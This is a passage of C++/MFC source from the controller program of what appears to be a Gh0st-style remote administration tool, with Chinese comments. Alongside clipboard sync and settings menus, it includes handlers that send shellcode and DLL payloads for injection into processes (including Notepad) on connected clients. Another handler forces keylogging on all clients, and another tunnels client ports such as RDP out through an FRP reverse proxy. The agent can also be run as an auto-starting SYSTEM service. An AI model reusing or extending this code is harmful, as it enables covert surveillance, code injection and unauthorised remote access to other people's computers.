                                if (dlg->m_ContextObject->Send2Client(szBuffer, strText.GetLength() + 1))
                                    Sleep(100);
                                Mprintf("【Ctrl+V】 从本地拷贝文本到远程 \n");
                                SAFE_DELETE_ARRAY(szBuffer);
                            } else {
                                Mprintf("【Ctrl+V】 本地剪贴板没有文本或文件: %d \n", result);
                            }
                        }
                    } else if (dlg && operateWnd && dlg != operateWnd && (time(nullptr) - remoteCtrlCTime < 60)) {
                        // [3] 远程A -> 远程B (C2C)
                        auto srcScreen = (CScreenSpyDlg*)operateWnd;
                        auto dstScreen = (CScreenSpyDlg*)dlg;

                        if (!srcScreen->m_bIsCtrl || !dstScreen->m_bIsCtrl) {
                            Mprintf("【Ctrl+V】 [C2C] 窗口不是控制状态\n");
                            break;
                        }

                        // 检查连接对象是否有效
                        if (!srcScreen->m_ContextObject || !dstScreen->m_ContextObject) {
                            Mprintf("【Ctrl+V】 [C2C] 连接对象无效\n");
                            break;
                        }

                        // 获取源和目标的客户端ID
                        uint64_t srcClientID = srcScreen->GetClientID();
                        uint64_t dstClientID = dstScreen->GetClientID();

                        if (srcClientID == 0 || dstClientID == 0) {
                            Mprintf("【Ctrl+V】 [C2C] 客户端ID无效: src=%llu, dst=%llu\n", srcClientID, dstClientID);
                            break;
                        }

                        // 检查双方是否支持 V2 文件传输协议
                        context* srcMainCtx = g_2015RemoteDlg->FindHost(srcClientID);
                        context* dstMainCtx = g_2015RemoteDlg->FindHost(dstClientID);
                        if (!srcMainCtx || !dstMainCtx) {
                            Mprintf("【Ctrl+V】 [C2C] 主连接无效\n");
                            break;
                        }
                        if (!SupportsFileTransferV2(srcMainCtx) || !SupportsFileTransferV2(dstMainCtx)) {
                            Mprintf("【Ctrl+V】 [C2C] 客户端版本不支持 V2 传输 (需要 >= %s)\n", FILE_TRANSFER_V2_DATE);
                            break;
                        }

                        // 构建 C2C 剪贴板请求
                        ClipboardRequestV2 req = {};
                        req.cmd = COMMAND_CLIPBOARD_V2;
                        req.srcClientID = srcClientID;
                        req.dstClientID = dstClientID;
                        req.transferID = GenerateTransferID();

                        std::string masterId = GetPwdHash(), hmac = GetHMAC(100);
                        memcpy(req.hash, masterId.c_str(), min(masterId.length(), sizeof(req.hash)));
                        memcpy(req.hmac, hmac.c_str(), min(hmac.length(), sizeof(req.hmac)));

                        // 先通知目标客户端准备接收（捕获当前目录）
                        // 注意：必须发送到主连接（KernelManager），不是远程桌面会话
                        C2CPreparePacket prepare = {};
                        prepare.cmd = COMMAND_C2C_PREPARE;
                        prepare.transferID = req.transferID;
                        prepare.srcClientID = srcClientID;  // 源客户端，用于返回目录响应
                        dstMainCtx->Send2Client((BYTE*)&prepare, sizeof(prepare));
                        Mprintf("【Ctrl+V】 [C2C] 通知目标准备: %s, transferID=%llu, src=%llu\n",
                            dstScreen->m_IPAddress, req.transferID, srcClientID);

                        // 发送请求到源客户端，让它发送剪贴板文件到目标客户端
                        if (srcScreen->m_ContextObject->Send2Client((BYTE*)&req, sizeof(req))) {
                            Mprintf("【Ctrl+V】 [C2C] 远程 %s -> 远程 %s, transferID=%llu\n",
                                srcScreen->m_IPAddress, dstScreen->m_IPAddress, req.transferID);
                            // C2C 传输已处理，阻止按键传递到目标客户端
                            return 1;
                        } else {
                            Mprintf("【Ctrl+V】 [C2C] 发送请求失败\n");
                        }
                    } else if (g_2015RemoteDlg->GetActiveRemoteSession() && !dlg && remoteCtrlCTime > 0 &&
                        (time(nullptr) - remoteCtrlCTime < 60) && remoteCtrlCTime > localCtrlCTime) {
                        // 远程 -> 本地：有活动会话，当前不在远程窗口，60秒内在远程按过Ctrl+C，且比本地Ctrl+C更晚
                        auto screen = (CScreenSpyDlg*)(g_2015RemoteDlg->GetActiveRemoteSession());
                        if (!screen) {
                            Mprintf("【Ctrl+V】 [远程 -> 本地] 远程桌面窗口状态已经失效\n");
                            break;
                        }
                        if (!screen->m_bIsCtrl) {
                            Mprintf("【Ctrl+V】 [远程 -> 本地] 窗口不是控制状态: %s\n", screen->m_IPAddress);
                            break;
                        }
                        // [2] 远程 -> 本地
                        BYTE	bToken[100] = {COMMAND_SCREEN_GET_CLIPBOARD};
                        std::string masterId = GetPwdHash(), hmac = GetHMAC(100);
                        memcpy((char*)bToken + 1, masterId.c_str(), masterId.length());
                        memcpy((char*)bToken + 1 + masterId.length(), hmac.c_str(), hmac.length());
                        if (::OpenClipboard(nullptr)) {
                            EmptyClipboard();
                            CloseClipboard();
                        }
                        if (screen->m_ContextObject->Send2Client(bToken, sizeof(bToken)))
                            Sleep(200);
                        Mprintf("【Ctrl+V】 从远程拷贝到本地 \n");
                    } else {
                        Mprintf("[Ctrl+V] 没有活动的远程桌面会话 \n");
                    }
                }
            }
        } while (0);
    }

    // 允许消息继续传递
    return CallNextHookEx(g_2015RemoteDlg->g_hKeyboardHook, nCode, wParam, lParam);
}

LRESULT CMy2015RemoteDlg::OnSessionActivatedMsg(WPARAM wParam, LPARAM lParam)
{
    CDialogBase* pSession = reinterpret_cast<CDialogBase*>(wParam);
    UpdateActiveRemoteSession(pSession);
    return 0;
}



void CMy2015RemoteDlg::OnToolReloadPlugins()
{
    if (IDYES!=MessageBoxL(_L("请将64位的DLL放于主控程序的 'Plugins' 目录，是否继续?")+
                           _L("\n执行未经测试的代码可能造成程序崩溃。"), "提示", MB_ICONINFORMATION | MB_YESNO))
        return;
    char path[_MAX_PATH];
    GetModuleFileNameA(NULL, path, _MAX_PATH);
    GET_FILEPATH(path, "Plugins");
    m_DllList = ReadAllDllFilesWindows(path);
}

context* CMy2015RemoteDlg::FindHostByIP(const std::string& ip)
{
    CString clientIP(ip.c_str());
    EnterCriticalSection(&m_cs);
    for (auto i = m_HostList.begin(); i != m_HostList.end(); ++i) {
        context* ContextObject = *i;
        if (ContextObject->GetClientData(ONLINELIST_IP) == clientIP || ContextObject->GetAdditionalData(RES_CLIENT_PUBIP) == clientIP) {
            LeaveCriticalSection(&m_cs);
            return ContextObject;
        }
    }
    LeaveCriticalSection(&m_cs);
    return NULL;
}

LRESULT CMy2015RemoteDlg::InjectShellcode(WPARAM wParam, LPARAM lParam)
{
    std::string* ip = (std::string*)wParam;
    int pid = lParam;
    InjectTinyRunDll(*ip, pid);
    delete ip;
    return S_OK;
}

void CMy2015RemoteDlg::InjectTinyRunDll(const std::string& ip, int pid)
{
    auto ctx = FindHostByIP(ip);
    if (ctx == NULL) {
        MessageBoxL(_L("没有找到在线主机: ") + ip.c_str(), "提示", MB_ICONINFORMATION);
        return;
    }

    auto tinyRun = ReadTinyRunDll(pid);
    Buffer* buf = tinyRun->Data;
    ctx->Send2Client(buf->Buf(), 1 + sizeof(DllExecuteInfo));
    SAFE_DELETE(tinyRun);
}

LRESULT CMy2015RemoteDlg::AntiBlackScreen(WPARAM wParam, LPARAM lParam)
{
    char* ip = (char*)wParam;
    std::string host(ip);
    std::string arch = ip + 256;
    int pid = lParam;
    auto ctx = FindHostByIP(ip);
    delete ip;
    if (ctx == NULL) {
        MessageBoxL(_L("没有找到在线主机: ") + host.c_str(), "提示", MB_ICONINFORMATION);
        return S_FALSE;
    }
    bool is32Bit = arch == "x86";
    std::string path = PluginPath() + "\\" + (is32Bit ? "AntiBlackScreen_x86.dll" : "AntiBlackScreen_x64.dll");
    auto antiBlackScreen = ReadPluginDll(path, { SHELLCODE, 0, CALLTYPE_DEFAULT, {}, {}, pid, is32Bit });
    if (antiBlackScreen) {
        Buffer* buf = antiBlackScreen->Data;
        ctx->Send2Client(buf->Buf(), 1 + sizeof(DllExecuteInfo));
        SAFE_DELETE(antiBlackScreen);
    } else
        MessageBoxL(_L("没有反黑屏插件: ") + path.c_str(), "提示", MB_ICONINFORMATION);
    return S_OK;
}


void CMy2015RemoteDlg::OnParamKblogger()
{
    m_settings.EnableKBLogger = !m_settings.EnableKBLogger;
    CMenu* SubMenu = m_MainMenu.GetSubMenu(2);
    if (SubMenu)
        SubMenu->CheckMenuItem(ID_PARAM_KBLOGGER, m_settings.EnableKBLogger ? MF_CHECKED : MF_UNCHECKED);
    THIS_CFG.SetInt("settings", "KeyboardLog", m_settings.EnableKBLogger);
    SendMasterSettings(nullptr, m_settings);
    MessageBoxA(m_settings.EnableKBLogger ? _TR("所有客户端的键盘记录被强制启用。") : _TR("客户端的键盘记录需要单独打开。"), 
        _TR("提示"), MB_ICONINFORMATION);
}


void CMy2015RemoteDlg::OnOnlineInjNotepad()
{
    auto tinyRun = ReadTinyRunDll(0);
    EnterCriticalSection(&m_cs);
    POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
    while (Pos) {
        int	iItem = m_CList_Online.GetNextSelectedItem(Pos);
        context* ctx = GetContextByListIndex(iItem);
        if (!ctx) continue;
        if (!ctx->IsLogin())
            continue;
        Buffer* buf = tinyRun->Data;
        ctx->Send2Client(buf->Buf(), 1 + sizeof(DllExecuteInfo));
    }
    LeaveCriticalSection(&m_cs);
    SAFE_DELETE(tinyRun);
}


void CMy2015RemoteDlg::OnParamLoginNotify()
{
    m_needNotify = !m_needNotify;
    THIS_CFG.SetInt("settings", "LoginNotify", m_needNotify);
    CMenu* SubMenu = m_MainMenu.GetSubMenu(2);
    if (SubMenu)
        SubMenu->CheckMenuItem(ID_PARAM_LOGIN_NOTIFY, m_needNotify ? MF_CHECKED : MF_UNCHECKED);
    MessageBoxA(m_needNotify ? _TR("已启用客户端上线通知。") : _TR("已关闭客户端上线通知。"), _TR("提示"), MB_ICONINFORMATION);
}


void CMy2015RemoteDlg::OnParamEnableLog()
{
    m_settings.EnableLog = !m_settings.EnableLog;
    CMenu* SubMenu = m_MainMenu.GetSubMenu(2);
    if (SubMenu)
        SubMenu->CheckMenuItem(ID_PARAM_ENABLE_LOG, m_settings.EnableLog ? MF_CHECKED : MF_UNCHECKED);
    THIS_CFG.SetInt("settings", "EnableLog", m_settings.EnableLog);
    SendMasterSettings(nullptr, m_settings);
    MessageBoxA(m_settings.EnableLog ? _TR("已启用客户端日志。") : _TR("已关闭客户端日志。"), _TR("提示"), MB_ICONINFORMATION);
}

void CMy2015RemoteDlg::OnParamPrivacyWallpaper()
{
    CFileDialog dlg(TRUE, _T("bmp"), NULL,
        OFN_FILEMUSTEXIST | OFN_HIDEREADONLY,
        _T("BMP Files (*.bmp)|*.bmp|All Files (*.*)|*.*||"), this);

    if (dlg.DoModal() == IDOK) {
        CString path = dlg.GetPathName();

        // 验证文件是否可以读取
        CFile file;
        if (!file.Open(path, CFile::modeRead | CFile::typeBinary)) {
            MessageBox(_TR("无法读取指定的BMP文件，请检查文件是否存在或权限是否正确。"),
                _TR("错误"), MB_ICONERROR);
            return;
        }

        // 验证是否是有效的BMP文件
        BITMAPFILEHEADER bmfh;
        if (file.Read(&bmfh, sizeof(bmfh)) != sizeof(bmfh) || bmfh.bfType != 0x4D42) {
            file.Close();
            MessageBox(_TR("指定的文件不是有效的BMP格式。"),
                _TR("错误"), MB_ICONERROR);
            return;
        }
        file.Close();

        m_PrivateScreenWallpaper = path;
        THIS_CFG.SetStr("settings", "Wallpaper", path.GetString());
        auto SubMenu = m_MainMenu.GetSubMenu(2);  // 工具菜单
        if (SubMenu) {
            SubMenu->CheckMenuItem(ID_PARAM_PRIVACY_WALLPAPER, MF_CHECKED);
        }
        CString msg;
        msg.Format(_TR("隐私屏幕壁纸已设置为:\n%s"), path);
        MessageBox(msg + CString("\n") + _L("如需恢复默认值，请从磁盘移除该文件。"), _TR("设置成功"), MB_ICONINFORMATION);
    }
}

void CMy2015RemoteDlg::OnParamFileV2()
{
    m_bEnableFileV2 = !m_bEnableFileV2;
    CMenu* SubMenu = m_MainMenu.GetSubMenu(2);
    if (SubMenu)
        SubMenu->CheckMenuItem(ID_PARAM_FILE_V2, m_bEnableFileV2 ? MF_CHECKED : MF_UNCHECKED);
    THIS_CFG.SetInt("settings", "EnableFileV2", m_bEnableFileV2 ? 1 : 0);
    Mprintf("文件传输V2: %s\n", m_bEnableFileV2 ? "启用" : "禁用");
    MessageBoxA(m_bEnableFileV2 ? _TR("已启用文件传输协议V2，支持断点续传和C2C传输。") : _TR("已关闭文件传输协议V2。"), 
        _TR("提示"), MB_ICONINFORMATION);
}

void CMy2015RemoteDlg::OnParamRunAsUser()
{
    CMenu* SubMenu = m_MainMenu.GetSubMenu(2);

    if (m_runNormal == 2) {
        // 切换到服务+SYSTEM模式
        m_runNormal = 0;
        THIS_CFG.SetInt("settings", "RunNormal", m_runNormal);
        if (SubMenu) {
            SubMenu->CheckMenuItem(ID_PARAM_RUN_AS_USER, MF_UNCHECKED);
            SubMenu->CheckMenuItem(ID_RUNAS_SERVICE, MF_CHECKED);
        }
        MessageBoxL("已切换为SYSTEM权限模式，请重启程序生效。", "提示", MB_ICONINFORMATION);
    } else {
        // 切换到服务+User模式
        m_runNormal = 2;
        THIS_CFG.SetInt("settings", "RunNormal", m_runNormal);
        if (SubMenu) {
            SubMenu->CheckMenuItem(ID_PARAM_RUN_AS_USER, MF_CHECKED);
            SubMenu->CheckMenuItem(ID_RUNAS_SERVICE, MF_UNCHECKED);
        }
        MessageBoxL(_L("已切换为用户权限模式，请重启程序生效。\n\n")+
                    _L("以用户身份运行代理可解决输入法(IME)和剪切板文件列表等问题，但可能影响某些需要高权限的功能。"),
                    "提示", MB_ICONINFORMATION);
    }
    BOOL r = m_runNormal == 1 ? ServerService_Uninstall() : ServerService_Install();
}

bool IsDateGreaterOrEqual(const char* date1, const char* date2)
{
    const char* months[] = {
        "Jan", "Feb", "Mar", "Apr", "May", "Jun",
        "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"
    };

    auto parseDate = [&months](const char* date, int& year, int& month, int& day) {
        char mon[4] = { 0 };
        sscanf(date, "%3s %d %d", mon, &day, &year);
        month = 0;
        for (int i = 0; i < 12; i++) {
            if (strcmp(mon, months[i]) == 0) {
                month = i + 1;
                break;
            }
        }
    };

    int y1, m1, d1, y2, m2, d2;
    parseDate(date1, y1, m1, d1);
    parseDate(date2, y2, m2, d2);

    if (y1 != y2) return y1 >= y2;
    if (m1 != m2) return m1 >= m2;
    return d1 >= d2;
}

std::string GetAuthKey(const char* token, long long timestamp)
{
    char tsStr[32];
    sprintf_s(tsStr, "%lld", timestamp);

    HCRYPTPROV hProv = 0;
    HCRYPTHASH hHash = 0;
    std::string result;

    if (CryptAcquireContextW(&hProv, nullptr, nullptr, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) {
        if (CryptCreateHash(hProv, CALG_MD5, 0, 0, &hHash)) {
            CryptHashData(hHash, (BYTE*)token, (DWORD)strlen(token), 0);
            CryptHashData(hHash, (BYTE*)tsStr, (DWORD)strlen(tsStr), 0);

            BYTE hash[16];
            DWORD cbHash = sizeof(hash);
            if (CryptGetHashParam(hHash, HP_HASHVAL, hash, &cbHash, 0)) {
                char hex[33];
                for (int i = 0; i < 16; i++)
                    sprintf_s(hex + i * 2, 3, "%02x", hash[i]);
                result = hex;
            }
            CryptDestroyHash(hHash);
        }
        CryptReleaseContext(hProv, 0);
    }

    return result;
}

// 基于FRP将客户端端口代理到主控程序的公网
// 例如代理3389端口，即可通过 mstsc.exe 进行远程访问
void CMy2015RemoteDlg::ProxyClientTcpPort(bool isStandard)
{
    BOOL useFrp = THIS_CFG.GetInt("frp", "UseFrp", 0);
    std::string pwd = THIS_CFG.GetStr("frp", "token", "");
    std::string ip = GetFirstMasterIP(THIS_CFG.GetStr("settings", "master", ""));
    if (!useFrp || pwd.empty() || ip.empty()) {
        MessageBoxL("需要正确启用FRP反向代理方可使用此功能!", "提示", MB_ICONINFORMATION);
        return;
    }

    if (!isStandard && IDYES != MessageBoxL("如果没有定制的FRPS服务端程序，请勿点击此菜单! 是否继续?", "提示", MB_YESNO))
        return;
    if (isStandard && IDYES != MessageBoxL("此功能会将FRP的token传递到客户端使用，谨慎操作! 是否继续?", "提示", MB_YESNO))
        return;

    CInputDialog dlg(this);
    dlg.Init(_TR("代理端口"), _TR("请输入客户端端口:"));
    dlg.Init2(_TR("访问端口(默认同上):"), "");
    if (IDOK != dlg.DoModal() || atoi(dlg.m_str) <= 0 || atoi(dlg.m_str) >= 65536) {
        return;
    }
    if (atoi(dlg.m_sSecondInput) <= 0 || atoi(dlg.m_sSecondInput) >= 65536) {
		dlg.m_sSecondInput = dlg.m_str;
	}
    uint64_t timestamp = time(nullptr);
    std::string key = isStandard ? pwd : GetAuthKey(pwd.c_str(), timestamp);
    int serverPort = THIS_CFG.GetInt("frp", "server_port", 7000);
    int localPort = atoi(dlg.m_str), remotePort = atoi(dlg.m_sSecondInput);
    auto frpc = ReadFrpcDll(isStandard ? CALLTYPE_FRPC_STDCALL : CALLTYPE_FRPC_CALL);
    FrpcParam param(key.c_str(), timestamp, ip.c_str(), serverPort, localPort, remotePort);
    EnterCriticalSection(&m_cs);
    POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
    BOOL sent = FALSE;
    const char* validDate = isStandard ? "Jan 29 2026" : "Dec 22 2025";
    while (Pos) {
        int	iItem = m_CList_Online.GetNextSelectedItem(Pos);
        context* ctx = GetContextByListIndex(iItem);
        if (!ctx) continue;
        if (!ctx->IsLogin())
            continue;
        CString bits = ctx->GetAdditionalData(RES_PROGRAM_BITS);
        if (bits != "64")
            continue;
        CString os = ctx->GetClientData(ONLINELIST_OS);
        if (os == "Windows 7" || os == "Windows 8" || os == "Windows 8.1")
            continue;
        CString date = ctx->GetClientData(ONLINELIST_VERSION);
        if (IsDateGreaterOrEqual(date, validDate)) {
            Buffer* buf = frpc->Data;
            BYTE cmd[1 + sizeof(DllExecuteInfoNew)] = { 0 };
            memcpy(cmd, buf->Buf(), 1 + sizeof(DllExecuteInfoNew));
            DllExecuteInfoNew* p = (DllExecuteInfoNew*)(cmd + 1);
            SetParameters(p, (char*)&param, sizeof(param));
            ctx->Send2Client(cmd, 1 + sizeof(DllExecuteInfoNew));
            sent = TRUE;
        } else {
            PostMessageA(WM_SHOWNOTIFY, (WPARAM)new CharMsg(_L("版本不支持")),
                         (LPARAM)new CharMsg(_L("客户端版本最低要求: ") + CString(validDate)));
        }
        break;
    }
    LeaveCriticalSection(&m_cs);
    SAFE_DELETE(frpc);
    if (sent)
        MessageBoxL(_L("请通过") + "[" + ip.c_str() + ":" + dlg.m_sSecondInput + "]" + _L("访问代理端口!"),
                    "提示", MB_ICONINFORMATION);
}

void CMy2015RemoteDlg::OnProxyPort()
{
    ProxyClientTcpPort(false);
}


void CMy2015RemoteDlg::OnProxyPortStd()
{
    ProxyClientTcpPort(true);
}


void CMy2015RemoteDlg::OnHookWin()
{
    m_bHookWIN = !m_bHookWIN;
    MessageBoxL(_L("远程控制时，") + (m_bHookWIN ? "" : _L("不")) + _L("转发系统热键到远程桌面。"),
                "提示", MB_ICONINFORMATION);
    THIS_CFG.SetInt("settings", "HookWIN", m_bHookWIN);
    CMenu* SubMenu = m_MainMenu.GetSubMenu(2);
    if (SubMenu)
        SubMenu->CheckMenuItem(ID_HOOK_WIN, m_bHookWIN ? MF_CHECKED : MF_UNCHECKED);
}


void CMy2015RemoteDlg::OnRunasService()
{
    CMenu* SubMenu = m_MainMenu.GetSubMenu(2);

    if (m_runNormal == 0) {
        // 切换到普通模式
        m_runNormal = 1;
        THIS_CFG.SetInt("settings", "RunNormal", m_runNormal);
        if (SubMenu) {
            SubMenu->CheckMenuItem(ID_RUNAS_SERVICE, MF_UNCHECKED);
            SubMenu->CheckMenuItem(ID_PARAM_RUN_AS_USER, MF_UNCHECKED);
        }
        MessageBoxL(_L("以传统方式启动主控程序，没有守护进程。"), "提示", MB_ICONINFORMATION);
    } else {
        // 切换到服务+SYSTEM模式
        m_runNormal = 0;
        THIS_CFG.SetInt("settings", "RunNormal", m_runNormal);
        if (SubMenu) {
            SubMenu->CheckMenuItem(ID_RUNAS_SERVICE, MF_CHECKED);
            SubMenu->CheckMenuItem(ID_PARAM_RUN_AS_USER, MF_UNCHECKED);
        }
        MessageBoxL(_L("以“服务+代理”形式启动主控程序，会开机自启及被守护。") +
                    _L("\n代理程序将以SYSTEM权限运行。请重启程序生效。"),
                    "提示", MB_ICONINFORMATION);
    }
    BOOL r = m_runNormal == 1 ? ServerService_Uninstall() : ServerService_Install();
}

void CMy2015RemoteDlg::OnHistoryClients()
{
    // 1. 如果窗口已经存在，直接带到前台，不要重复创建
    if (m_pClientListDlg != nullptr && ::IsWindow(m_pClientListDlg->GetSafeHwnd())) {
        m_pClientListDlg->ShowWindow(SW_SHOW);
        m_pClientListDlg->SetForegroundWindow();
        return;
    }

    // 2. 创建对话框实例
    // 注意：如果是非模态，传进去的 m_ClientMap 引用要确保在对话框存在期间一直有效
    m_pClientListDlg = new CClientListDlg(m_ClientMap, this);

    // IDD_CLIENT_LIST 是你对话框的 ID
    if (m_pClientListDlg->Create(IDD_DIALOG_CLIENTLIST, GetDesktopWindow())) {
        m_pClientListDlg->ShowWindow(SW_SHOW);
    }
}

void CMy2015RemoteDlg::OnBackupData()
{
    MessageBoxL(_L("如果更换主控IP，必须将主机迁移到新的主控IP名下。注意，更换主控程序的机器可能导致授权失效!")+
                _L("请将数据库文件拷贝到目标机器，否则将丢失全部备注信息。"), "提示", MB_ICONINFORMATION);
    std::filesystem::path path = GetDbPath();
    std::filesystem::path dir = path.parent_path();
    ShellExecuteW(NULL, L"open", dir.c_str(), NULL, NULL, SW_SHOWNORMAL);
}

void CMy2015RemoteDlg::OnPluginRequest()
{
    CString content = THIS_CFG.GetStr("settings", "GetPluginUrl", BRAND_URL_GET_PLUGIN).c_str();
    if (content.Left(4).CompareNoCase(_T("http")) == 0) {
        ShellExecute(NULL, _T("open"), content, NULL, NULL, SW_SHOWNORMAL);
    }
    else {
        MessageBoxL(content, _TR("获取插件"), MB_ICONINFORMATION);
    }
}

void CMy2015RemoteDlg::OnChangeLang()
{
    size_t count = g_Lang.GetLanguageCount();
    if (count == 1) {
        // 只有简体中文，提示用户
        MessageBoxL("未检测到其他语言文件，请将语言文件放入 lang 目录!", "提示", MB_ICONINFORMATION);
        return;
    }

    CString langCode = CLangSelectDlg::Show(this);
    if (!langCode.IsEmpty()) {
        if (!g_Lang.CheckEncoding(langCode)) {
            MessageBoxL("请使用ANSI编码的语言文件。", "提示", MB_ICONWARNING);
            return;
        }
        // 用户选择了语言
        g_Lang.Load(langCode);

        // 保存到配置文件
        THIS_CFG.SetStr("settings", "Language", langCode.GetString());

        // 提示用户重启生效
        MessageBoxL("语言已切换，重启程序后生效。", "提示", MB_ICONINFORMATION);
    }
}

void CMy2015RemoteDlg::OnChooseLangDir()
{
    CFolderPickerDialog folderDlg(THIS_CFG.GetStr("settings", "LangDir", "./lang").c_str(), NULL, this, 0);
    CString strTitle = _TR("请选择目录");
    folderDlg.m_ofn.lpstrTitle = strTitle;
    if (folderDlg.DoModal() == IDOK) {
        CString folderPath = folderDlg.GetPathName();

        auto lang = THIS_CFG.GetStr("settings", "Language", "en_US");
        THIS_CFG.SetStr("settings", "LangDir", folderPath.GetString());
        g_Lang.Init(folderPath);
        g_Lang.Load(lang.c_str());
        MessageBoxL("目录已选择，可能需要重启程序。", "提示", MB_ICONINFORMATION);
    }
}


void CMy2015RemoteDlg::OnImportData()
{
    if (IDOK!=MessageBoxL(_L("导入主控程序的历史主机记录。此操作会覆盖本机的历史记录，请仅在迁移主控程序时进行操作。")+
                          _L("数据库文件仅用于恢复主机备注信息。是否继续?"), "提示",IDOK)) return;
    CFileDialog fileDlg(TRUE, NULL, BRAND_DB_NAME, OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT,
                        _T(BRAND_APP_NAME " DB (*.db)|*.db|All Files (*.*)|*.*||"), AfxGetMainWnd());
    int ret = 0;
    try {
        ret = fileDlg.DoModal();
    } catch (...) {
        MessageBoxL("文件对话框未成功打开! 请稍后再试。", "提示", MB_ICONWARNING);
        return;
    }
    if (ret == IDOK) {
        CString name = fileDlg.GetPathName();
        auto backup = GetDbPath() + "." + ToPekingDateTime(0);
        CopyFileA(GetDbPath().c_str(), backup.c_str(), FALSE);
        m_ClientMap->LoadFromFile(name.GetString());
    }
}

void CMy2015RemoteDlg::OnLocationQqwry()
{
    THIS_CFG.SetInt("settings", "IPLocType", QQWry);
    CMenu* SubMenu = FindSubMenuByCommand(m_MainMenu.GetSubMenu(3), ID_LOCATION_QQWRY);
    if (SubMenu) {
        SubMenu->CheckMenuItem(ID_LOCATION_QQWRY, MF_CHECKED);
        SubMenu->CheckMenuItem(ID_LOCATION_IP2REGION, MF_UNCHECKED);
    }
    MessageBoxL("请确保“qqwry.dat”文件存在! 重启程序生效。", "提示", MB_ICONINFORMATION);
}

void CMy2015RemoteDlg::OnLocationIp2region()
{
    THIS_CFG.SetInt("settings", "IPLocType", Ip2Region);
    CMenu* SubMenu = FindSubMenuByCommand(m_MainMenu.GetSubMenu(3), ID_LOCATION_QQWRY);
    if (SubMenu) {
        SubMenu->CheckMenuItem(ID_LOCATION_QQWRY, MF_UNCHECKED);
        SubMenu->CheckMenuItem(ID_LOCATION_IP2REGION, MF_CHECKED);
    }
    MessageBoxL("请确保“ip2region_v4.xdb”文件存在! 重启程序生效。", "提示", MB_ICONINFORMATION);
}

void CMy2015RemoteDlg::OnToolLicenseMgr()
{
    // 如果对话框已存在，刷新并显示
    if (m_pLicenseDlg != nullptr && ::IsWindow(m_pLicenseDlg->GetSafeHwnd())) {
        m_pLicenseDlg->ShowAndRefresh();
        return;
    }

    // 创建非模态对话框
    m_pLicenseDlg = new CLicenseDlg(this);
    if (m_pLicenseDlg->Create(IDD_DIALOG_LICENSE, GetDesktopWindow())) {
        m_pLicenseDlg->ShowWindow(SW_SHOW);
    }
}

void CMy2015RemoteDlg::OnToolImportLicense()
{
    // File filter
    CString filter = _T(BRAND_LICENSE_DESC " (*.lic)|*.lic|All Files (*.*)|*.*||");
    CString dlgTitle = _TR("导入授权文件");

    // Show file open dialog
    CFileDialog dlg(TRUE, _T("lic"), NULL,
        OFN_FILEMUSTEXIST | OFN_HIDEREADONLY, filter, this);
    dlg.m_ofn.lpstrTitle = dlgTitle;

    if (dlg.DoModal() != IDOK)
        return;

    // Import and validate
    LicenseFileData data;
    std::string error;
    LicenseImportResult result = ImportLicenseFile(std::string(CT2A(dlg.GetPathName().GetString())), data, error);

    if (result != LicenseImportResult::Success) {
        MessageBox(CString(error.c_str()), _TR("导入失败"), MB_ICONERROR);
        return;
    }

    // Parse expiry info from password
    auto parts = splitString(data.password, '-');
    std::string startDate = parts.size() > 0 ? parts[0] : "";
    std::string endDate = parts.size() > 1 ? parts[1] : "";
    std::string hostNum = parts.size() > 2 ? parts[2] : "";

    // Format date for display (YYYYMMDD -> YYYY-MM-DD)
    auto formatDate = [](const std::string& d) -> std::string {
        if (d.length() == 8) {
            return d.substr(0, 4) + "-" + d.substr(4, 2) + "-" + d.substr(6, 2);
        }
        return d;
    };

    // Show confirmation dialog
    CString msg;
    msg.Format(_T("%s\n\n%s: %s\n%s: %s ~ %s\n%s: %s\n%s: %s\n\n%s"),
               _TR("确定导入以下授权?"),
               _TR("序列号"), CString(data.sn.c_str()).GetString(),
               _TR("有效期"), CString(formatDate(startDate).c_str()).GetString(),
               CString(formatDate(endDate).c_str()).GetString(),
               _TR("并发数"), CString(hostNum.c_str()).GetString(),
               _TR("授权类型"), data.IsV2Auth() ? _T("V2 (ECDSA)") : _T("V1 (HMAC)"),
               _TR("导入后需要重启程序生效"));

    if (MessageBox(msg, _TR("确认导入"), MB_YESNO | MB_ICONQUESTION) != IDYES)
        return;

    // Apply license
    if (ApplyLicenseData(data)) {
        MessageBoxL("授权已导入，请重启程序生效。", "导入成功", MB_ICONINFORMATION);
    } else {
        MessageBoxL("授权信息不完整", "导入失败", MB_ICONERROR);
    }
}

void CMy2015RemoteDlg::OnToolV2PrivateKey()
{
    if (GetMasterHash() != GetPwdHash())
        return;

    int ret = MessageBoxL("注意：仅授权管理员需要设置 V2 私钥！设置不匹配的私钥将导致签名无效。\n\n"
                          "是否继续？",
                          "V2 私钥设置", MB_YESNO | MB_ICONWARNING);
    if (ret != IDYES) return;

    CFileDialog dlg(TRUE, _T("key"), nullptr,
                    OFN_FILEMUSTEXIST | OFN_HIDEREADONLY,
                    _T("Key Files (*.key;*.pem)|*.key;*.pem|All Files (*.*)|*.*||"),
                    this);
    dlg.m_ofn.lpstrTitle = _T("Select V2 Private Key");

    // 如果已有配置，设置初始目录
    std::string existingPath = m_v2KeyPath;
    CString initialDir;
    if (!existingPath.empty()) {
        initialDir = existingPath.c_str();
        int pos = initialDir.ReverseFind('\\');
        if (pos > 0) initialDir = initialDir.Left(pos);
        dlg.m_ofn.lpstrInitialDir = initialDir;
    }

    if (dlg.DoModal() == IDOK) {
        CString path = dlg.GetPathName();
		m_v2KeyPath = path.GetString();
        THIS_CFG.SetStr("settings", "V2PrivateKey", path.GetString());

        // 显示消息
        std::string msg = "V2 Private Key: " + std::string(path.GetString());
        CharMsg* cm = new CharMsg(msg.c_str());
        PostMessageA(WM_SHOWMESSAGE, (WPARAM)cm, NULL);

        // 更新菜单勾选状态
        CMenu* SubMenu = m_MainMenu.GetSubMenu(1);
        if (SubMenu) {
            SubMenu->CheckMenuItem(ID_TOOL_V2_PRIVATEKEY, MF_CHECKED);
        }
    }
}

void CMy2015RemoteDlg::OnMenuNotifySettings()
{
    NotifySettingsDlg dlg(this);
    dlg.DoModal();
}

void CMy2015RemoteDlg::OnFrpsForSub()
{
    CFrpsForSubDlg dlg(this);
    if (dlg.DoModal() == IDOK) {
        // 配置变更后更新状态栏显示
        UpdateStatusBarStats();
    }
}

// Helper function to convert string to lowercase for case-insensitive comparison
static std::string ToLowerCase(const std::string& str) {
    std::string result = str;
    std::transform(result.begin(), result.end(), result.begin(), ::tolower);
    return result;
}
